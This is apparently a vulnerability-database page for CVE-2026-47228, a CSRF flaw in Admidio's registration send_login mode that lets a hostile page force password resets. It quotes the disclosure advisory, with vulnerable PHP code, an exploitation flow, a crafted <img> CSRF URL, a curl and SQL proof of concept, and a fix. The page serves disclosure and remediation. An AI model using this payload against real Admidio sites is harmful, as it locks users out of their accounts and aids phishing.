CVE-2026-47228: Admidio/admidio Admidio's CSRF Vulnerability

MODERATE
Advisory Identifier: GHSA-mx25-j3rc-6w2w
CVSS 5.2
CWE-352
Published
Advisory Summary

CVE-2026-47228 is a MODERATE (CVSS 5.2) admidio's csrf vulnerability (CWE-352: Cross-Site Request Forgery (CSRF)) affecting Admidio/admidio libraries in the Packagist ecosystem. The issue involves admidio's csrf in registration `send_login` mode resets arbitrary user passwords. Remediation is available by upgrading affected packages to version 5.0.10.

CVE-2026-47228 at a Glance

CVE Identifier CVE-2026-47228
GHSA Identifier GHSA-mx25-j3rc-6w2w
Severity MODERATE
CVSS v3.1 Base Score 5.2
CWE Classification CWE-352: Cross-Site Request Forgery (CSRF)
Affected Product Admidio/admidio
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 5.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality None (C:N)
Integrity High (I:H)
Availability Low (A:L)

How to Fix CVE-2026-47228

To remediate this vulnerability, upgrade all affected Admidio/admidio dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

admidio/admidio fixed: 5.0.10
Upgrade admidio/admidio to 5.0.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for admidio/admidio

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-47228, inspect your project dependencies for Admidio/admidio:

inspect dependencies for admidio/admidio

Analyze the terminal output to locate any version of Admidio/admidio in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.0.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-352: Cross-Site Request Forgery (CSRF), where the web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor. In Admidio/admidio, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

## Summary `modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token'])` first; the `send_login` branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's `SameSite=Lax` cookies, and the server resets the chosen user's password without any further interaction from the admin. ## Details ### Vulnerable Code `modules/registration.php:124-138`: ```php } elseif ($getMode === 'send_login') { // User already exists and has a login than sent access data with a new password $user = new User($gDb, $gProfileFields); $user->readDataByUuid($getUserUUIDAssigned); $user->sendNewPassword(); // delete the registration because it isn't necessary anymore $registrationUser->notSendEmail(); $registrationUser->delete(); admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php'); // => EXIT } ``` The four sibling branches all begin with `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);` — for example `delete_user` at lines 110-118: ```php } elseif ($getMode === 'delete_user') { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); // delete registration $registrationUser->delete(); echo json_encode(array('status' => 'success')); exit(); } ``` `User::sendNewPassword()` (`src/User/Entity/User.php`) calls `setPassword(PasswordUtils::generatePassword())` and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset. The handler accepts `GET` (no enforcement of HTTP method, no `$_POST` requirement), so an `<img src=...>` or auto-submitting form is sufficient. ### Exploitation Flow 1. Attacker prepares a "pending registration" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable. 2. Attacker hosts a page that issues: `<img src="https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}">` 3. A registration-administrator (someone with `isAdministratorRegistration()` — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set `SameSite=Strict`). 4. Admidio's handler runs as that admin. It loads the assigned user, calls `User::sendNewPassword()` which writes a fresh bcrypt hash to `adm_users.usr_password`, and queues the cleartext password to be e-mailed to the user. 5. The victim user's old password no longer works. The cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail. ## PoC Tested locally against HEAD `c5cde53`. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's `GET` to the crafted URL. ``` # 0. observe current admin password hash (the testadmin from install) mariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \ -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);" usr_id usr_login_name pwd 2 testadmin $2y$12$AB.h 7 victim $2y$12$L9q3 # 1. attacker creates a pending registration with user_uuid pointing at "victim" mariadb ... admidio -e "INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp) VALUES (1, 7, NOW());" # (the pending row gives the request a valid user_uuid for $registrationUser->delete()) # 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser: # no adm_csrf_token, GET only curl -b $admin_cookie \ "http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>" # 3. observe the victim's password hash has changed mariadb ... admidio \ -e "SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;" usr_id usr_login_name pwd 7 victim $2y$12$w5lQ ``` The hash before the attack was `$2y$12$L9q3...`; after the attack it is `$2y$12$w5lQ...`. The victim's previously-known password no longer authenticates them. The same call against `user_uuid_assigned=<admin's uuid>` resets the admin's own password — locking out the registration-administrator from their own account. ## Impact A registration-administrator who visits a hostile page is silently coerced into resetting any user's password. * **Account lockout / DoS.** The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox. * **Phish-flavoured social engineering.** The unsolicited "your new Admidio password is …" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password. * **Self-targetable.** Because the attacker also controls the public self-registration flow, they can reliably create a `pending_registration` row whose `user_uuid_assigned` points at any chosen victim. `UI:R` reflects that an admin must visit a page; `PR:N` because the *attacker* needs no Admidio credentials; `I:H` because user authentication state is destroyed; `A:L` because the affected user is locked out of an account but the platform stays up. ## Recommended Fix Add a CSRF check at the top of the branch and require POST: ```php } elseif ($getMode === 'send_login') { // check the CSRF token of the form against the session token SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']); if ($_SERVER['REQUEST_METHOD'] !== 'POST') { throw new Exception('SYS_INVALID_PAGE_VIEW'); } $user = new User($gDb, $gProfileFields); $user->readDataByUuid($getUserUUIDAssigned); $user->sendNewPassword(); ... } ``` A regression test should issue `GET /modules/registration.php?mode=send_login&...` from a session that has no current page (no in-session form key) and assert that `usr_password` is unchanged.

CVE-2026-47228 Affected Admidio/admidio Versions

1 component(s)
Fixed Versions:
5.0.10
Product / Package Ecosystem Affected Versions Fixed Version
admidio/admidio
Packagist
< 5.0.10
5.0.10

References

Frequently Asked Questions

What is CVE-2026-47228?
CVE-2026-47228 is a security vulnerability in Admidio/admidio involving Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords under CWE-352: Cross-Site Request Forgery (CSRF).
Which Admidio/admidio versions are affected?
Affected versions include releases prior to 5.0.10 across affected packages: admidio/admidio.
What version fixes CVE-2026-47228?
Upgrading to 5.0.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is admidio/admidio affected?
Yes, admidio/admidio is affected in releases prior to 5.0.10. Upgrade your dependency to 5.0.10 or later.
What is the CVSS score of CVE-2026-47228?
CVE-2026-47228 has a CVSS v3.1 base score of 5.2 (MODERATE) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L.
What CWE is associated with CVE-2026-47228?
CVE-2026-47228 is classified under CWE-352: Cross-Site Request Forgery (CSRF) (The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.).
How can I check Packagist dependencies for CVE-2026-47228?
Run the dependency tree command: 'inspect dependencies for admidio/admidio'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mx25-j3rc-6w2w",
  "modified" : "2026-05-29T21:58:44Z",
  "published" : "2026-05-29T21:58:44Z",
  "aliases" : [ "CVE-2026-47228" ],
  "summary" : "Admidio's CSRF in registration `send_login` mode resets arbitrary user passwords",
  "details" : "## Summary\n\n`modules/registration.php` mode `send_login` regenerates a random password for `user_uuid_assigned`, stores its bcrypt hash in `adm_users.usr_password`, and emails the cleartext to that user. Every other state-changing mode in the same file (`assign_member`, `assign_user`, `delete_user`, `create_user`) calls `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token'])` first; the `send_login` branch does not. A page visited by a registration-administrator can issue the request as a top-level navigation, the browser sends the admin's `SameSite=Lax` cookies, and the server resets the chosen user's password without any further interaction from the admin.\n\n## Details\n\n### Vulnerable Code\n\n`modules/registration.php:124-138`:\n\n```php\n} elseif ($getMode === 'send_login') {\n    // User already exists and has a login than sent access data with a new password\n    $user = new User($gDb, $gProfileFields);\n    $user->readDataByUuid($getUserUUIDAssigned);\n    $user->sendNewPassword();\n\n    // delete the registration because it isn't necessary anymore\n    $registrationUser->notSendEmail();\n    $registrationUser->delete();\n    admRedirect(ADMIDIO_URL.FOLDER_MODULES.'/registration.php');\n    // => EXIT\n}\n```\n\nThe four sibling branches all begin with `SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);` — for example `delete_user` at lines 110-118:\n\n```php\n} elseif ($getMode === 'delete_user') {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    // delete registration\n    $registrationUser->delete();\n    echo json_encode(array('status' => 'success'));\n    exit();\n}\n```\n\n`User::sendNewPassword()` (`src/User/Entity/User.php`) calls `setPassword(PasswordUtils::generatePassword())` and persists the new hash before the email is queued; the password change happens unconditionally regardless of whether the e-mail send succeeds. This means even when the operator's SMTP is unconfigured, the victim's password is still reset.\n\nThe handler accepts `GET` (no enforcement of HTTP method, no `$_POST` requirement), so an `<img src=...>` or auto-submitting form is sufficient.\n\n### Exploitation Flow\n\n1. Attacker prepares a \"pending registration\" row anywhere they can — either by registering a self-controlled user account (the public registration flow creates these), or by waiting for an existing pending registration to be reachable.\n2. Attacker hosts a page that issues:\n   `<img src=\"https://victim.example/admidio/modules/registration.php?mode=send_login&user_uuid={pending_registration_uuid}&user_uuid_assigned={victim_user_uuid}\">`\n3. A registration-administrator (someone with `isAdministratorRegistration()` — usually the org admin) visits the page while logged in to Admidio. The browser sends their session cookie (Admidio's session cookie does not set `SameSite=Strict`).\n4. Admidio's handler runs as that admin. It loads the assigned user, calls `User::sendNewPassword()` which writes a fresh bcrypt hash to `adm_users.usr_password`, and queues the cleartext password to be e-mailed to the user.\n5. The victim user's old password no longer works.\n\nThe cleartext lands in the *victim's* mailbox, not the attacker's, so the attacker does not get the password directly. The primary impact is therefore forced password reset (account lock-out / DoS for the victim) plus an information-disclosure side effect: the victim now has a password they did not request, and may be socially-engineered into believing the e-mail.\n\n## PoC\n\nTested locally against HEAD `c5cde53`. The reproducer confirms the password column changes server-side without any user interaction beyond an admin's `GET` to the crafted URL.\n\n```\n# 0. observe current admin password hash (the testadmin from install)\nmariadb -h 127.0.0.1 -P 3399 -u admidio -p... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id IN (2, 7);\"\nusr_id  usr_login_name  pwd\n2       testadmin       $2y$12$AB.h\n7       victim          $2y$12$L9q3\n\n# 1. attacker creates a pending registration with user_uuid pointing at \"victim\"\nmariadb ... admidio -e \"INSERT INTO adm_registrations (reg_org_id, reg_usr_id, reg_timestamp)\n                       VALUES (1, 7, NOW());\"\n# (the pending row gives the request a valid user_uuid for $registrationUser->delete())\n\n# 2. crafted CSRF endpoint, hit from a third-party page in the admin's browser:\n#    no adm_csrf_token, GET only\ncurl -b $admin_cookie \\\n   \"http://127.0.0.1:8085/modules/registration.php?mode=send_login&user_uuid=$pending_uuid&user_uuid_assigned=<victim_uuid>\"\n\n# 3. observe the victim's password hash has changed\nmariadb ... admidio \\\n    -e \"SELECT usr_id, usr_login_name, LEFT(usr_password, 12) AS pwd FROM adm_users WHERE usr_id=7;\"\nusr_id  usr_login_name  pwd\n7       victim          $2y$12$w5lQ\n```\n\nThe hash before the attack was `$2y$12$L9q3...`; after the attack it is `$2y$12$w5lQ...`. The victim's previously-known password no longer authenticates them.\n\nThe same call against `user_uuid_assigned=<admin's uuid>` resets the admin's own password — locking out the registration-administrator from their own account.\n\n## Impact\n\nA registration-administrator who visits a hostile page is silently coerced into resetting any user's password.\n\n* **Account lockout / DoS.** The victim user (which can be the admin themselves, or any other user with a registration row routed through this admin) loses access; their stored password is replaced with a server-generated one that only lands in the victim's mailbox.\n* **Phish-flavoured social engineering.** The unsolicited \"your new Admidio password is …\" e-mail is a credible-looking message that the attacker can pair with a phishing site to harvest the new password.\n* **Self-targetable.** Because the attacker also controls the public self-registration flow, they can reliably create a `pending_registration` row whose `user_uuid_assigned` points at any chosen victim.\n\n`UI:R` reflects that an admin must visit a page; `PR:N` because the *attacker* needs no Admidio credentials; `I:H` because user authentication state is destroyed; `A:L` because the affected user is locked out of an account but the platform stays up.\n\n## Recommended Fix\n\nAdd a CSRF check at the top of the branch and require POST:\n\n```php\n} elseif ($getMode === 'send_login') {\n    // check the CSRF token of the form against the session token\n    SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n\n    if ($_SERVER['REQUEST_METHOD'] !== 'POST') {\n        throw new Exception('SYS_INVALID_PAGE_VIEW');\n    }\n\n    $user = new User($gDb, $gProfileFields);\n    $user->readDataByUuid($getUserUUIDAssigned);\n    $user->sendNewPassword();\n    ...\n}\n```\n\nA regression test should issue `GET /modules/registration.php?mode=send_login&...` from a session that has no current page (no in-session form key) and assert that `usr_password` is unchanged.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:L"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "admidio/admidio"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.0.10"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 5.0.9"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/Admidio/admidio/security/advisories/GHSA-mx25-j3rc-6w2w"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/Admidio/admidio"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-05-29T21:58:44Z",
    "nvd_published_at" : null
  }
}